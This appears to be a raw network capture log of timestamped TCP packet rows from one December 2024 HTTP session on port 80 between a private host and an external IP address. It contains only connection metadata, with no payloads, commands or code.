Dec 16, 2024 15:25:38.343216896 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.343439102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.343455076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.343472004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.343504906 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.343556881 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.343581915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.344567060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.344871998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.344887018 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.344959021 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.344959021 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.345343113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346019983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346035957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346151114 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.346159935 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346177101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346334934 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.346529007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346544027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346688986 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.346693993 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.346877098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.347012043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.353466034 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.408221006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.408354998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.408370018 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.408385038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.408412933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.408428907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.408479929 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.408480883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.408480883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.409164906 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.409209967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.409426928 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.409507990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.409584999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.409629107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.409645081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.409691095 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.409728050 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.410439014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.410480022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.410495996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.410553932 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.477368116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.477426052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.477442980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.477616072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.477674961 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.477674961 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.477701902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.477718115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.477790117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.478240967 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.478609085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.478625059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.478641033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.478771925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.478797913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.478797913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.479449987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.479573965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.479588985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.479669094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.479676962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.479676962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.480364084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.480390072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.480407953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.480474949 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.480475903 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.480505943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.481343031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.481421947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.481441021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.481457949 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.481512070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.481535912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.482218981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.482294083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.482357979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.482367039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.482377052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.482511044 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.483160019 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.483334064 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.483423948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.483438969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.483453989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.483576059 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.484044075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.484131098 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.484144926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.484159946 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.484189987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.484642029 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.484997988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.485105038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.485124111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.485169888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.485205889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.485234976 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.485872984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.485913992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.485929012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.486017942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.486401081 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.486401081 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.486776114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.486845016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.486860037 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.486962080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.486994982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.486994982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.487746000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.487787008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.487802029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.487839937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.487879038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.487890005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.488626957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.488692999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.488708019 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.488768101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.488887072 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.488887072 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.489559889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.489604950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.489620924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.489630938 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.489851952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.489969969 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.490499020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.490524054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.490540981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.490577936 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.490703106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.491018057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.491470098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.491597891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.491619110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.491626024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.491687059 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.491775990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.504882097 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.531599045 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.531683922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.531699896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.531708956 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.531739950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.531809092 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.532088995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.532175064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.532192945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.532217026 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.532252073 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.540195942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540275097 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540291071 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540360928 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.540386915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540638924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.540683985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540779114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540793896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540813923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.540909052 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.540909052 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.541857004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.541872978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.541961908 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.541990042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.542006016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.542068958 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.542601109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.542707920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.542722940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.542746067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.542766094 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.542797089 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.543428898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.543504000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.543584108 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.543600082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.543621063 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.543714046 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.600542068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.600569010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.600584984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.600671053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.600810051 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.600928068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.600939035 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.601010084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.601092100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.601488113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.601521015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.601587057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.601600885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.601623058 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.601794004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.602094889 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.602433920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.602495909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.602510929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.602547884 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.602696896 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.669472933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.669490099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.669507980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.669570923 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.669588089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.669605017 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.669624090 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.669660091 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.669660091 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.670562983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.670672894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.670805931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.670902967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.670933008 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.671020031 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.671020031 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.671036959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.671328068 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.671762943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.671816111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.671832085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.671849012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.672012091 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.672012091 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.672611952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.672672987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.672688961 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.672763109 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.672794104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.673053980 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.673518896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.673598051 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.673649073 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.673654079 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.673665047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.674135923 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.674470901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.674539089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.674555063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.674752951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.675189018 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.675189018 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.675544024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.675625086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.675641060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.675694942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.675797939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.676410913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.676702023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.676726103 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.676742077 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.676759005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.676839113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.676839113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.677237988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.677287102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.677301884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.677336931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.677361965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.677386999 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.678250074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.678307056 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.678323030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.678446054 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.678457975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.678570032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.679471970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.679497957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.679514885 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.679570913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.679590940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.679850101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.680532932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.680568933 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.680584908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.680619001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.680635929 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.680687904 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.681355000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.681370020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.681385994 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.681453943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.681746006 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.681746006 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.682212114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.682262897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.682279110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.682347059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.682351112 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.682399988 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.682894945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.682936907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.682952881 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.682980061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.683149099 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.683149099 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.683589935 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.683746099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.683763027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.683850050 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.683850050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.683897972 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.723651886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.723678112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.723692894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.723784924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.723881960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.723881960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.724132061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.724181890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.724196911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.724345922 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.732388973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.732441902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.732458115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.732474089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.732479095 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.732511997 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.732676029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.732700109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.732714891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.732743979 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.732790947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.733269930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.733313084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.733328104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.733380079 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:38.733405113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:38.733706951 CET	49742	80	192.168.2.5	185.215.113.16
